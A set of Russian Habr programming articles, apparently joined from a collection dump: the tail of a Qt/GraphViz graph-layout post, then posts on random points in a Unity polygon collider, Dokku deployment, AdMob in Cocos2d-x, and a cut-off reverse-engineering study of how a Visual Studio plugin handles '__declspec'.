void ServiceMap::makeQuickNodes()
{
for (auto &node : m_nodes) {
auto creationCtx = m_delegate->creationContext();
auto ctx = new QQmlContext(creationCtx ? creationCtx : qmlContext(this));
auto item = m_delegate->beginCreate(ctx);
if (item) {
ctx->setContextProperty("node", QVariant::fromValue(node));
auto quickItem = qobject_cast(item);
quickItem->setParentItem(this);
quickItem->setZ(1);
node.qmlObject = quickItem;
} else {
qCritical() << "failed create QQuickItem from delegate" << m\_delegate->errors();
}
m\_delegate->completeCreate();
}
for (auto &edge : m\_edges) {
edge.qmlObject = new EdgeItem;
edge.qmlObject->setZ(2);
edge.qmlObject->setParentItem(this);
}
}
```
Вершина создается в несколько этапов через *beginCreate*/*completeCreate*, для установки свойства **node**. Создаем вершины и узлы в *GraphViz*, длины задаются в дюймах, при этом зашито 72 DPI:
```
void applySize(ServiceMapNode &node, qreal DPI)
{
if (node.qmlObject) {
auto size = node.qmlObject->size();
auto widthIn = QString::number(qreal(size.width()) / DPI);
auto heightIn = QString::number(qreal(size.height()) / DPI);
setAttribute(node.gvNode, "width", widthIn);
setAttribute(node.gvNode, "height", heightIn);
setAttribute(node.gvNode, "fixedsize", "true");
}
}
//...
auto graph = m_ctx->graph.get();
QHash nodeMap;
for (auto &node : m\_nodes) {
node.gvNode = agnode(graph, NULL, true);
nodeMap.insert(node.process, node.gvNode);
applySize(node, DPI);
}
for (auto &edge : m\_edges) {
auto from = nodeMap[edge.from];
auto to = nodeMap[edge.to];
edge.gvEdge = agedge(graph, from, to, NULL, TRUE);
}
```
Сам расчет графа осуществляется вызовом функции *gvLayout* из gvc.h(libgvc). В этой библиотеке содержатся функции расчета и рендеринга изображения:
```
if (gvLayout(m_ctx->ctx.get(), graph, "dot") != 0) {
qCritical() << "Layout render error" << agerrors() << QString::fromLocal8Bit(aglasterr());
}
```
Выставляем размер *ServiceMap*, где `UR` это координаты верхнего правого угла `typedef struct { pointf LL, UR; } boxf`:
```
qreal gvGraphHeight = GD_bb(graph).UR.y;
qreal gvGraphWidth = GD_bb(graph).UR.x;
setImplicitHeight(gvGraphHeight);
setImplicitWidth(gvGraphWidth);
```
Дальше нужно расставить вершины *QQuickItem* по координатам, который рассчитал *GraphViz*. В *GraphViz* ось Y идет снизу вверх, а в Qt сверху в низ. А координата вершины *GraphViz* находится в центре фигуры. Поэтому разворачиваем и смещаем координаты:
```
QPointF centerToOrigin(const QPointF &p, qreal width, qreal height)
{
return QPointF(p.x() - width / 2, p.y() - height / 2);
}
//...
for (auto &node : m_nodes) {
auto gvPos = ND_coord(node.gvNode);
QPoint pt(gvPos.x, gvGraphHeight - gvPos.y);
auto org = centerToOrigin(pt, node.qmlObject->width(), node.qmlObject->height());
node.qmlObject->setPosition(org);
}
```
С ребрами немного сложнее. Вытаскиваем точки, по которым будем рисовать линию:
```
for (auto &edge : m_edges) {
auto spline = ED_spl(edge.gvEdge);
QVector points;
if (spline->size != 0) {
bezier bez = spline->list[0];
points.reserve(bez.size);
for (int i = 0; i < bez.size; ++i) {
auto &p = bez.list[i];
points << QPointF(p.x, gvGraphHeight - p.y);
}
points << QPointF(spline->list->ep.x, gvGraphHeight - spline->list->ep.y);
}
edge.qmlObject->setPoints(points);
```
Осталось нарисовать объект с необычной геометрией. В документации [Qt Quick Examples and Tutorials](https://doc.qt.io/qt-6/qtquick-codesamples.html#qt-quick-demos) есть интересующие нас вещи. От туда потребуется примеры работы с графом сцены(*Scene Graph*), из которого возьмем два примера [Graph](https://doc.qt.io/qt-6/qtquick-scenegraph-graph-example.html) и [Custom Geometry](https://doc.qt.io/qt-6/qtquick-scenegraph-customgeometry-example.html). Т.к. это прототип, то для ребер написал код на выброс:
```
class EdgeItem : public QQuickItem
{
Q_OBJECT
QML_ELEMENT
public:
explicit EdgeItem(QQuickItem *parent = nullptr);
QSGNode *updatePaintNode(QSGNode *, UpdatePaintNodeData *) override;
void setPoints(const QVector &points);
private:
QVector m\_points;
QSGGeometryNode \*m\_arrowNode;
};
///...
EdgeItem::EdgeItem(QQuickItem \*parent)
: QQuickItem(parent)
, m\_arrowNode(nullptr)
{
setFlag(ItemHasContents);
}
QSGNode \*EdgeItem::updatePaintNode(QSGNode \*oldNode, UpdatePaintNodeData \*)
{
if (!m\_arrowNode) {
m\_arrowNode = new QSGGeometryNode;
auto geometry = new QSGGeometry(QSGGeometry::defaultAttributes\_Point2D(), 3);
geometry->setLineWidth(1);
geometry->setDrawingMode(QSGGeometry::DrawTriangles);
m\_arrowNode->setGeometry(geometry);
m\_arrowNode->setFlag(QSGNode::OwnsGeometry);
auto \*material = new QSGFlatColorMaterial;
material->setColor(QColor("black"));
m\_arrowNode->setMaterial(material);
m\_arrowNode->setFlag(QSGNode::OwnsMaterial);
geometry->allocate(3);
}
QSGGeometryNode \*node = nullptr;
QSGGeometry \*geometry = nullptr;
if (!oldNode) {
node = new QSGGeometryNode;
geometry = new QSGGeometry(QSGGeometry::defaultAttributes\_Point2D(),
std::max(m\_points.size() - 1, qsizetype(0)));
geometry->setLineWidth(1);
geometry->setDrawingMode(QSGGeometry::DrawLineStrip);
node->setGeometry(geometry);
node->setFlag(QSGNode::OwnsGeometry);
auto \*material = new QSGFlatColorMaterial;
material->setColor(QColor("black"));
node->setMaterial(material);
node->setFlag(QSGNode::OwnsMaterial);
node->appendChildNode(m\_arrowNode);
} else {
node = static\_cast(oldNode);
geometry = node->geometry();
geometry->allocate(m\_points.size() - 1);
}
QSGGeometry::Point2D \*vertices = geometry->vertexDataAsPoint2D();
for (int i = 0; i < m\_points.size() - 1; ++i) {
vertices[i].set(m\_points[i].x(), m\_points[i].y());
}
if (!m\_points.isEmpty()) {
QLineF line(m\_points[m\_points.size() - 2], m\_points[m\_points.size() - 1]);
QLineF n = line.normalVector();
QPointF o(n.dx() / 3.0, n.dy() / 3.0);
auto arrVertices = m\_arrowNode->geometry()->vertexDataAsPoint2D();
arrVertices[0].set(line.p1().x() + o.x(), line.p1().y() + o.y());
arrVertices[1].set(line.p2().x(), line.p2().y());
arrVertices[2].set(line.p1().x() - o.x(), line.p1().y() - o.y());
}
node->markDirty(QSGNode::DirtyGeometry);
return node;
}
void EdgeItem::setPoints(const QVector &points)
{
m\_points = points;
update();
}
```
Этого достаточно. Если задать свойство ребер `setGraphAttribute("splines", "ortho")`, то получим результат:
Код доступен на [RPG-18/jgv](https://github.com/RPG-18/jgv) и может отличаться от кода в статье. | https://habr.com/ru/post/689496/ | null | ru | null |
# Поиск случайной точки на PolygonCollider2D Unity
Привет, Habr. В данный момент я разрабатываю игру про животных, где они должны беспорядочно бегать по карте. Идеей является то, что есть несколько видов животных, которые могут бегать только по своей территории, например:
1. Кошка, собака - по земле(Ground)
2. Рыбы и утки - по воде
3. и т.д.
В итоге я пришел к выводу, что зону проще всего разграничивать с помощью PolygoneCollider2D, как это реализовано в Cinemachine
Желтое - это рамка за которую камера выходить не можетРеализация №1(Медленный способ)
-------------------------------
Я решил реализовать, что-то подобное, но только так, чтобы бралась на поверхности случайная точка и животное шло к ней. Поискав решение данной проблемы, я нашел лишь единственное решение:
```
public Vector3 PointInArea() {
var bounds = collider.bounds;
var center = bounds.center;
float x = 0;
float y = 0;
do {
x = UnityEngine.Random.Range(center.x - bounds.extents.x, center.x + bounds.extents.x);
y = UnityEngine.Random.Range(center.y - bounds.extents.y, center.y + bounds.extents.y);
} while (Physics2D.OverlapPoint(new Vector2(x, y), LayerMask.NameToLayer("Area")) == null);
return new Vector3(x, y, 0);
}
// https://forum.unity.com/threads/how-can-i-choose-random-points-inside-a-polygon-collider-2d.264985/
```
Оно основано на взятии случайной точки по границам polygonCollider2D и проверка, что эта точка попадает на поверхность PolygonCollider2D.OverlapPoint();
Красные линия - это границы polygonCollider2D
Зеленая плоскость - это именно та площадь куда нам нужно попастьМинус данного подхода, что он если polygonCollider2D сильно искажен, то while будет выполнятся долго. Но для моей игры нужны именно искаженная поверхность.
Я проверил, и даже вывел метод нахождения точки в отдельный поток, но все равно скорость поиска меня не устраивала, тем более имелись проблемы со синхронизацией List с параллельными потоками.
**Вывод по методу:**
*Плюсы:*
* Быстрый в реализации
*Минусы:*
* Медленный в бою
* Нельзя использовать со сложными геометриями
### Реализация №2
Далее я решил уже пораскинуть мозгами и попробовать решить задачу математическим путем:
* если выбрать 2 соседние вершины у многоугольника
* найти случайную точку между ними
* найти центр многоугольника `polygonCollider2D.bounds.center`
* и выбрать случайную точку между координатами центра и случайной точки между вершинами.
оранжевые точки - соседние точки
красная точка - центр
черная точка - случайная между соседнимиКак можно увидеть на втором примере, отрезок, образованный случайной точкой между двумя соседними вершинами и центром может выходить за пределы площади, а это мне не нужно.
Я порыскал по просторам интернета и нашел интересную статью: [Generating Random Points within a Polygon in Unity](https://dev.to/bogdanalexandru/generating-random-points-within-a-polygon-in-unity-nce). В ней автор пишет свою реализацию поиска точки в многоугольнике, но решает это для трехмерного пространства, а меня интересует 2D, но из этой статьи я узнал о методе разбиения многоугольника на треугольники([Delaunay triangulation](https://en.wikipedia.org/wiki/Triangulation)).
Pеализацию этого алгоритма я нашел на C# в GitHub у [k-j0](https://github.com/k-j0) ([сам алгоритм ТЫК](https://github.com/k-j0/haze-triangulator/blob/master/Haze/Triangulator/Scripts/Triangulator.cs)).
С этими знаниями я придумал новый алгоритм:
1. Разбиваем многоугольник на треугольники с помощью алгоритма [k-j0](https://github.com/k-j0)
2. Выбираем случайный треугольник
3. Ищем точку между двумя случайными две случайные вершинами, выбранного треугольника
4. Ищем [центр тяжести треугольника](https://reshimvse.com/article.php?id=135) по формуле 
5. Находим случайную точку на отрезке ((3 пункт) и (4 пункт))
Вуаля, теперь точка попадает со 100% шансом на площадь многоугольника.
**Переносим в Unity**
Разбиваем polygonCollider2D на треугольники методом `Triangulator.Triangulate`
```
List \_triangles =
Triangulator.Triangulate(polygonCollider2D.points.ToList());
Triangulator.Triangle triangle = \_triangles[Random.Range(0, \_triangles.Count)];
```
Ищем две случайные вершины треугольника
```
Vector2 onePoint = Vector2.zero;
Vector2 twoPoint = Vector2.zero;
switch (Random.Range(0, 3))
{
case 0:
onePoint = triangle.a;
twoPoint = triangle.b;
break;
case 1:
onePoint = triangle.b;
twoPoint = triangle.c;
break;
case 2:
onePoint = triangle.a;
twoPoint = triangle.c;
break;
}
```
Находим центр тяжести треугольника
```
Vector2 center = triangle.centerOfMass();
```
Далее нам нужно находить случайную точку между двумя точками. Для этого реализуем метод `RandomPointBetween2Points`, который возвращает `Vector2`
```
private static Vector3 RandomPointBetween2Points(Vector3 start, Vector3 end){
return (start + Random.Range(0f, 1f) * (end - start));
}
```
Находим случайную точку между вершинами
```
Vector2 randomBetween2Vector = RandomPointBetween2Points(onePoint, twoPoint);
```
И в итоге генерируем готовую точку
```
Vector2 randomPoint = RandomPointBetween2Points(center, randomBetween2Vector);
```
Теперь метод можно вызывать легко и просто:
```
Vector2 point = RandomPoint.GetRandomPoint(polygonCollider2D);
```
Протестируем функцию на poligonCollider2D и найдем 100 точек
Отлично они по всей поверхностиА 10000?
и 10000 отлично**ВАЖНО! Нужно учесть, что точки генерируются относительно PolygonCollider2D, поэтому их потом следует приводить к Мировым координатам**
Все ссылки и источники:
* Исходники: <https://github.com/LivelyPuer/RandomPoint>
* Haze Triangulator: <https://github.com/k-j0/haze-triangulator>
Готовый проект можно скачать [ТУТ](https://github.com/LivelyPuer/RandomPoint/releases)!
Спасибо за внимание! | https://habr.com/ru/post/650379/ | null | ru | null |
# Карманный PaaS c Dokku
В своей [прошлой статье](http://habrahabr.ru/company/likeastore/blog/210000/) я упомянул Dokku, как важную составляющую нашей инфраструктуры и сегодня хочу раскрыть эту тему подробнее.
[Dokku](https://github.com/progrium/dokku) это средство простого трансформирования Ubuntu сервера, в мини-Heroku. После установки dokku, вы получаете возможность делать:
```
$ git push production master
```
для могих популярных платформ (Node.js, Java, PHP, Python etc). Результатом процесса развертования, есть запущенное приложение, к которому сразу можно получить доступ по `http/https`.
#### Как это работает?
Если открыть [репозиторий проекта](https://github.com/progrium/dokku), то в описании можно увидеть строчку - *«Docker powered mini-Heroku in around 100 lines of Bash»* — около 100 строчек баш кода, который иммитирует работу Heroku. Это довольно «легкая» реализация, как для такой большой проблемы, которую он решает.
Все объясняется тем, что Dokku стоит на плечах таких технологий как: [Docker](https://www.docker.io/), [Heroku Buildpacks](https://devcenter.heroku.com/articles/buildpacks), [Nginx](http://nginx.org/), [Git](http://git-scm.com/).
##### Docker
Первое и пожалуй самая важная составляющая часть это Docker.
Docker решает проблему контейнеров.
Контейнеры это свежий взгляд на развертывание приложений, классикой в которой считатся виртуализация. Докер контейнеры имеют ряд приемуществ по сравнению с виртуальными машинами, такие как: время бутстрапа машины, размер образа для запуска, версионность образов (с инкрементальными изменениями), а также общий [индекс](https://index.docker.io/), с доступными к использованию образами.
Внутри контейнера можно запустить процесс, который будет полностью изолированным от внешней среды, со своей операционной системой, файловой системой и сетевым интерфейсом. При этом, из одного и того же образа, можно запускать сколь угодно (пока хватит ресурсов машины) процессов. Образы можно «наследовать» друг от друга, например если мы имеем образ Ubuntu сервера скажем размером 1GB, но хотим сделать свой с MongoDB, размер нового образа будет не 1.3GB а 300MB.
[Docker файлы](http://docs.docker.io/en/latest/use/builder/), позволяют в декларативном виде «конструировать» нужный образ, который можно «собрать», поместить в индекс, после этого распространить на нужные машины и запустить их там. При этом Docker гарантирует, что запускаемые внутри контейнера процессы будут работать абсолютно одинаково, вне зависимости от конкретной машины.
Docker образы, иммутабельны. Т.е. любое, даже самое деструктивное действие типа `rm -rf /`, не принесет ему вреда, если измнения не будут закомиченны.
Docker собрал вокруг себя очень продуктивное сообщество, также многие крупные компании как [Yandex](http://yandex.ru), [Red Hat](http://redhat.com), [Facebook](http://facebook.com), [Spotify](http://spotify.com) берут эту технолонию на вооружение.
###### Как же его использует Dokku?
Прежде всего, в Dokku используется свой базовый образ, т.н. [Buildstep](https://github.com/progrium/buildstep). По его [докер файлу](https://github.com/progrium/buildstep/blob/master/Dockerfile) видно, что это `ubuntu:quantal`, на который устанавливается ряд необходимых [пакетов](https://github.com/progrium/buildstep/blob/master/stack/packages.txt), а также [билд паки](https://github.com/progrium/buildstep/blob/master/stack/buildpacks.txt) в основном от Heroku, но также и некоторые от сообщества (например для Perl, Dart, Static Apache etc.)
Внутри базового образа есть скрипт [builder](https://github.com/progrium/buildstep/blob/master/stack/builder), в задачу которого входит «поиск» подходящего для вашего приложения билд пака и запуск его.
##### Heroku Buildpacks
Билд паки, это набор шел или руби скриптов, типично состоящих из нескольких файлов, [detect](https://github.com/heroku/heroku-buildpack-ruby/blob/master/bin/detect), [compile](https://github.com/heroku/heroku-buildpack-ruby/blob/master/bin/compile), [release](https://github.com/heroku/heroku-buildpack-ruby/blob/master/bin/release). Задача которых, детектировать соответвует ли приложение заданному типу (как правило по файлам в корне проекта, Gemfile — Ruby, package.json — Node.js и т.д.), скомпилировать и выпустить приложение, соответвенно.
Билд пак, запущенный внутри контейнера создает всю необходимую среду выполнения (качает нужную версию Node.js, или OpenJDK..), установит все необходимые приложению зависимости (npm, maven, pip..) К моменту завершения его работы, приложение будет готово к старту.
Если вы использовали Heroku, то весь этот вывод, который видно на экране при пуше приложения в Heroku, это и есть результат работы buildpack.
##### Nginx
Docker обладает возможностью маппить сетевые порты, которые использует приложение внутри контейнера, на порт «внешненей» машины. Dokku передает внутрь приложения номер порта 5000. Внешний, берется из диапазона портов выше 49200.
```
СONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a60c2af71770 app/app:latest /bin/bash -c /start 30 hours ago Up 30 hours 0.0.0.0:49264->5000/tcp prickly_curie
9c3c58b649df app/likeastore.com:latest /bin/bash -c /start 47 hours ago Up 47 hours 0.0.0.0:49253->5000/tcp sad_lumiere
1b55d9087d23 app/tour:latest /bin/bash -c /start 8 days ago Up 8 days 0.0.0.0:49228->5000/tcp suspicious_wozniak
f700b5db1100 app/demo:latest /bin/bash -c /start 2 weeks ago Up 2 weeks 0.0.0.0:49159->5000/tcp sleepy_heisenberg
4df87e09611d app/analytics:latest /bin/bash -c /start 2 weeks ago Up 2 weeks 0.0.0.0:49153->5000/tcp tender_curie
```
Трафик из/в контейнер проксирует [Nginx](http://nginx.org). Его никак не надо конфигурировать, Dokku сделает это сам. Для всех приложений он создает конфигурационный файл, примерно такого вида:
```
upstream app { server 127.0.0.1:49264; }
server {
listen [::]:80;
listen 80;
server_name app.likeastore.com;
return 301 https://$host$request_uri;
}
```
Т.е. использует [upstream](http://wiki.nginx.org/HttpUpstreamModule) модуль для трафика из контейнера, на порт 80 сервера.
##### Git
Многие знают Git, как отличную систему конроля версий. Диапазон использования Git шире, чем просто контроль версий, многие называют Git — новым FTP. Именно git используется как транспорт исходников на сервер.
Dokku использует `git-hooks`, и после того как исходники «пушнуты» на сервер, запускает `dokku` скрипт. Это собственно и есть, тот самый «around 100 lines of bash» скрипт, в задачу которого входит создание нового docker образа из базового (buildstep), запуск «builder» скрипта для инициализации среды, запуск самого приложения и рестарта nginx.
Обратитие внимание на то, что с каждым пушем приложение, разворачивается в «чистой» среде, в новом контерейнере, созданном специально для него.
#### Установка
Все довольно подробно рассказано в [документации](https://github.com/progrium/dokku) проекта. Bootstrap скрипт установит вне нужные зависимости — git, nginx, docker, etc… А также установит базовый образ `buildback`.
##### Конфигурация
После установки Dokku на сервере, необходимо сделать 3 вещи.
1. Загрузить свой ssh публичный ключ на сервер, чтобы можно было сделать git push.
```
$ cat ~/.ssh/id_rsa.pub | ssh root@yourserver.com "sudo sshcommand acl-add dokku progrium"
```
2. В .git/config приложения надо настроить remote бранч
```
[remote "staging"]
url = dokku@stage.likeastore.com:app-stage.likeastore.com
fetch = +refs/heads/*:refs/remotes/deploy/*
[remote "production"]
url = dokku@likeastore.com:app
fetch = +refs/heads/*:refs/remotes/deploy/*
```
Обратите внимание, на имена — с полно-квалифицированным именем, типа `app-stage.likeastore.com`, приложение запустится на `app-stage.likeastore.com`, и базовым именем, типа `app`, на `app.likeastore.com`.
3. В корне проекта сделать файл `Procfile`, который содержит инструкцию на запуск приложения, для Node.js
`web: node app.js`
После этого приложение готово к деплойменту.
##### Деплоймент
Тут все просто, как сказано выше:
```
$ git push production master
```
В результате, вы увидете что похожее на следующий вывод:
```
› git push staging development:master
-----> Cleaning up ...
-----> Building app-stage.likeastore.com ...
Node.js app detected
-----> Requested node range: 0.10.x
-----> Resolved node version: 0.10.25
-----> Downloading and installing node
-----> Restoring node_modules directory from cache
-----> Pruning cached dependencies not specified in package.json
-----> Installing dependencies
-----> Caching node_modules directory for future builds
-----> Cleaning up node-gyp and npm artifacts
-----> Building runtime environment
-----> Discovering process types
Procfile declares types -> web
-----> Releasing app-stage.likeastore.com ...
-----> Deploying app-stage.likeastore.com ...
=====> Application deployed:
https://app-stage.likeastore.com
To dokku@stage.likeastore.com:app-stage.likeastore.com
77008a6..99dfe55 development -> master
```
После первого деплоймента, по требованию, можно настроить [переменные окружения](https://github.com/progrium/dokku#environment-variable-management) для приложения и [поддержку SSL](https://github.com/progrium/dokku#ssl-support).
#### Плагины
Базовый Dokku можно считать довольно ограниченным, но он отлично расширяется за счет плагинов.
Плагины делятся на несколько типов, [datastores](https://github.com/progrium/dokku/wiki/Plugins#wiki-datastores) — с готовыми решениями развертывания хранилищ (MariaDB, PostgreSQL, MongoDB etc.), [process managers](https://github.com/progrium/dokku/wiki/Plugins#wiki-process-managers) — для поддержки менеджеров процессов (Circus, Shoreman etc.) и [other](https://github.com/progrium/dokku/wiki/Plugins#wiki-other) — всякие полезные штуки (Bower, Grunt, Elasticsearch, SSH Deployment keys).
Наш опыт использования [Dokku](https://github.com/progrium/dokku) в [Likeastore](https://likeastore.com) оказался очень положительным, чего и Вам искренне желаю!
ЗЫ. В сети есть [видео](http://www.youtube.com/watch?v=woONOr0VXuk) моего выступления на тему Dokku, там есть некоторые подробности. | https://habr.com/ru/post/211016/ | null | ru | null |
# Интеграция AdMob в Cocos2d-x
Уважаемые хабражители, в этой статье я хочу поделиться своим опытом по интеграции баннерной сети AdMob в игру для Android, написанную с использованием движка Cocos2d-x.
##### Введение
Интерес к мобильной разработке в последние годы высок и множество независимых разработчиков и компаний стремятся освоить часть этого рынка. Это создает высокую конкуренцию и даже хорошее приложение может затеряться на рынке. До того как ваше приложение попадет на высокие позиции в рейтинге может пройти значительное время. А время это деньги. Важно получить хорошую позицию в рейтинге, так как это ведет к дальнейшим скачиваниям. Это делает позиционирование приложения как бесплатное хорошей стратегией. Однако разработка приложений затратное занятие, особенно если вы компания либо используете часть работы через аутсорсинг. Но даже если вся разработка совершена одним участником едва ли в планах разработчика было просто оставить свой след в магазине приложений. Хочется получить хоть какую-то материальную отдачу. Таким образом мы приходим к двум стратегиям монетизации приложений. Фримиум модель — бесплатное приложение плюс дополнительный функционал за плату, через покупки внутри приложения. Либо монетизация за счет встроенной в приложение рекламы. В этой статье мы рассмотрим внедрение рекламы в приложение.
##### Теория и подготовка инструментария
Итак допустим что у вас уже есть приложение или игра для андроид, написанные с помощью Cocos2d-x 2.0.4. Нет? Ну тогда возьмем за основу примеры идущие в комплекте с Cocos2d-x SDK. Еще не установлен SDK? Тогда идем на [раздел github](https://github.com/cocos2d/cocos2d-x/), где хранится исходный текст фреймворка (на момент написания статьи официальный веб сайт проекта [cocos2d-x.org](http://cocos2d-x.org) был недоступен). AdMob SDK можно найти на сайте [admob.com](http://admob.com).
Код в проекте с использованием фреймворка пишется на языке C++. Однако AdMob SDK является библиотекой на языке Java. Как же использовать эту библиотеку в нашем проекте? На самом деле все гораздо проще чем может показаться на первый взгляд. И все это благодаря возможностям Android SDK. Дело в том что объект View в котором отображается графика, реализованная в C++ является и объектом Java, и тут мы вольны построить нужную нам конфигурацию различных View.
Первое что приходит в голову это стек из View, допустим сверху банер и ниже окно игры. Это можно сделать, используя объект LinearLayout в который поместить объект AdView и Cocos2dxGLSurfaceView. Все это будет работать, единственная проблема возникнет в тот момент, когда вы захотите возможность убирать банер, например после оплаты покупки внутри приложения. Проблема заключается в том, что OpenGL view в Cocos2d-x не поддерживает изменения размера области просмотра.
Другое решение это использовать RelativeLayout и отображать банер поверх OpenGL view игры. В таком случае область отображения игры займет все доступное место на экране и не будет меняться, а область с банером будет наложена сверху. Отбросьте опасения, это не вызовет ни искажения изображения ни мерцания.
Если вы знакомы с разработкой под Android, то вы знаете, что обычно параметры области отображения описываются в специальном XML файле. В программах на Cocos2d-x 1.0 так и было. Однако в последней версии Cocos2d-x, этого файла вы не найдете. По неизвестной мне причине, описание областей отображения было перенесено в Java код. Никаких сложностей это не вызывает, надо просто знать где эти файлы расположены (cocos2dx-2.0.4/cocos2dx/platform/android/java/src/org/cocos2dx/lib). Кода получается чуть больше, но у нас появляется возможность динамически создавать необходимую конфигурацию отображения. К сожалению без модификации файлов библиотеки не получится подключить нужную нам область просмотра — нужные нам члены класса объявлены частными (private). В своем проекте я принял радикальное решение — полностью скопировать этот код в свой проект, вместо того чтобы ссылаться на файлы фреймворка. Так как теперь весь код теперь находился в репозитарии моего проекта, это развязало мне руки и все необходимые модификации кода я провел прямо в классе Cocos2dxActivity.
##### Интеграция
Итак, приступим. Первым делом скопируем папку тестового проекта, например HelloCpp в HelloAdMob в той же папке. Далее скопируем файлы AdMob SDK HelloAdMob/proj.android/AdMob. Теперь создадим папку HelloAdMob/proj.android/cocos\_java и скопируем в нее файлы из cocos2dx-2.0.4/cocos2dx/platform/android/java/src включая подкаталоги.
Далее откроем проект в Eclipse, или в другой среде на ваш выбор (notepad? ;-). Свойства проекта должны выглядеть как на скриншотах ниже.
Необходимо будет добавить в проект папку cocos\_java,
[](http://habrastorage.org/storage2/3b8/ba9/d64/3b8ba9d64b5f47a1b21bc4d8668d375f.png)
а так же библиотеку AdMob.
[](http://habrastorage.org/storage2/aff/0ab/875/aff0ab8751237ed817fa5a8c3ee19122.png)
и отметить библиотеку AdMob для экспорта.
[](http://habrastorage.org/storage2/1d6/b64/ac9/1d6b64ac9b1c2b2a62c2b5872f50fab4.png)
Так же нужно поменять версию Android SDK, так как AdMob требует версию не ниже 3.2. Не волнуйтесь, поддержка версий от Android 2.2 останется. Модифицируем файл project.properties, поставив соответвующую версию
```
# Project target.
target=android-13
```
Далее откроем файл AndroidManifest.xml как текст, поправим строчку целевого SDK
```
```
минимальную версию оставляем старой. Ниже добавим необходимые разрешения, для того чтобы AdMob мог загрузить баннер из сети.
```
```
Так же нужно объявить AdMob в файле манифеста. Я сделал это после объявления класса активности игры.
```
```
Теперь модифицируем файл Cocos2dxActivity.java — добавим стоки импорта AdMob:
```
import com.google.ads.AdRequest;
import com.google.ads.AdSize;
import com.google.ads.AdView;
```
добавим в класс поле для рекламного блока
```
private AdView adView;
```
теперь, после строчек
```
// ...add to FrameLayout
framelayout.addView(edittext);
```
вставляем следующий код:
```
// создаем область отображения баннера
adView = new AdView(this, AdSize.BANNER, "ваш_id");
// задаем параметры отображения, здесь я использовал вертикальное смещение, так как в примере cocos2d-x использован режим отображения без полей
ViewGroup.LayoutParams ad_layout_params = new ViewGroup.LayoutParams( ViewGroup.LayoutParams.FILL_PARENT, 50);
adView.setLayoutParams(ad_layout_params);
// Создаем запрос баннера
AdRequest adRequest = new AdRequest();
// Устанавливаем свойства
adRequest.addTestDevice("id_тестового_устройства");
// Запускаем загрузку баннера в фоне
adView.loadAd(adRequest);
```
Идентификатор паблишера вы получите после регистрации на сайте admob.com и добавления информации о вашей программе. Идентификатор устройства будет отображен в консоли logcat, его необходимо скопировать и вставить в код, так как из за случайных кликов по собственному баннеру вы можете быть забанены (извините за каламбурчик) в системе admob, а если для входа использовалась учетная запись Google, то может быть заблокирована и эта учетная запись, со всеми вытекающими последствиями.
Далее нужно добавить созданную область просмотра в иерархию классов. Сделать это надо после добавления области OpenGL, иначе ваш банер окажется перекрыт ею. После строчки
```
gLSurfaceView.setCocos2dxEditText(edittext);
```
добавим наш код:
```
// Добавляем AdView в иерархию областей отображения. Область не будет иметь размера, пока реклама не загружена
framelayout.addView(adView);
```
Все, можно приступать к сборке. Не забудьте собрать нативную библиотеку с помощью Android NDK, после чего можно собрать проект в Eclipse (либо в вашей любимой среде) и радоваться результату.
 | https://habr.com/ru/post/161891/ | null | ru | null |
# Реверс-инжиниринг приложений после обфускации (Часть 2)
Введение
--------
*Данная публикация направлена на изучение некоторых приемов реверс-инжиниринга. Все материалы представлены исключительно в ознакомительных целях и не предназначены в использовании в чьих-либо корыстных целях.*
Рекомендуется к прочтению после [первой части](https://habr.com/ru/post/444886/)
Если хирурга учат как устроен человек и дают ему в руки скальпель, не значит что он будет применять эти знания кому-то во вред, а знающий ассемблер не грезит написанием супер вируса.
Так и в этих уроках не стоит искать намеки на кряки и взломы.
Предмет исследования
--------------------
Продолжаем изучать код плагина к Visual Studio Atomineer Pro Documentation (далее APD). Давайте познакомимся поближе с инструментом и с его возможностями. Итак, предположим, что у нас есть класс на языке С++.
```
class ClassForReadFile
{
public:
ClassForReadFile();
};
```
настроим APD так, чтобы комментарии были в стиле Doxygen. Встаем курсором на **class** и нажимаем **CTRL+SHIFT+D**. Получаем следующее:
```
/** The class for read file. */
class ClassForReadFile
{
public:
ClassForReadFile();
};
```
Плагин добавил красивое описание класса. Все отлично! Двигаемся далее. Предположим класс принадлежит библиотеке и мы должны экспортировать его. Добавляем макрос и изменяем определение класса
```
#ifdef DLL_EXPORTS
#define DATA_READER_DLL_EXPORTS __declspec(dllexport)
#else
#define DATA_READER_DLL_EXPORTS __declspec(dllimport)
#endif
class DATA_READER_DLL_EXPORTS ClassForReadFile
{
public:
ClassForReadFile();
};
```
Для языка C++ (ОС Windows) ситуация стандартная. Проверим наш плагин. Нажимаем **CTRL+SHIFT+D** и получаем совсем не то что ожидали
```
/** A data reader DLL exports. */
class DATA_READER_DLL_EXPORTS ClassForReadFile
{
};
```
название дефайна **DATA\_READER\_DLL\_EXPORTS** определилось как название класса, вместо **ClassForReadFile**, и по этому названию и сгенерилось описание класса. То есть в коде плагина данная ситуация, а именно экспорт класса, или не обрабатывается или обрабатывается с ошибкой. Это мы и будем пытаться исправлять.
Шаг 1
-----
Будем искать зацепки. Во первых, так как экспорт функций и классов с С/С++ ситуация стандартная, то все же попробуем «заставить» плагин правильно. На место дефайна **DATA\_READER\_DLL\_EXPORTS** вставим саму инструкцию *\_\_declspec* и сгенерим документацию
```
/** The class for read file. */
class __declspec(dllexport) ClassForReadFile
{
};
```
И, о чудо, получили правильное описание класса! Таким образом делаем вывод, что в APD есть некий код который проверяет наличие строки "\_\_declspec" в описании класса и игнорирует ее дальнейшем алгоритме построении документации.
Декомпилируем библиотеку штатным ildasm.exe из состава Microsoft SDKs. Найдем строку "\_\_declspec". Она встречается в 2х методах CmdDocComment::a и CmdDocComment::b. Класс один. Его мы будем подвергать дальнейшему изучению.
Шаг 2
-----
Сразу скажу, что то что мы ищем находится в методе CmdDocComment::a
Вот то место, где встречается *\_\_declspec*. Приведены только наиболее интересные строки.
**string a(CmdDocComment.GeneratorInfo A\_0)**
```
List e = A\_0.e;
//.......
List list = A\_0.e;
int num3 = 0;
while (num3 < list.Count && !(list[num3] == "where") && !(list[num3] == ":"))
{
if (list[num3] == A\_0.b && num2 < 0)
{
num2 = num3;
}
if (list[num3] == "\_\_declspec")
{
if (num3 + 1 < list.Count)
{
num = list[num3 + 1].IndexOf(')');
if (num >= 0)
{
list[num3 + 1] = list[num3 + 1].Substring(num + 1).Trim();
}
}
list.RemoveAt(num3);
num3--;
}
num3++;
}
if (list.Count > 0 && (list[0] == "struct" || list[0] == "union"))
{
if (list.Count == 1)
{
//......
```
Такой вывод мы сделали на основании того, что после проверки
> list[num3] == "\_\_declspec"
вызывается метод удаления
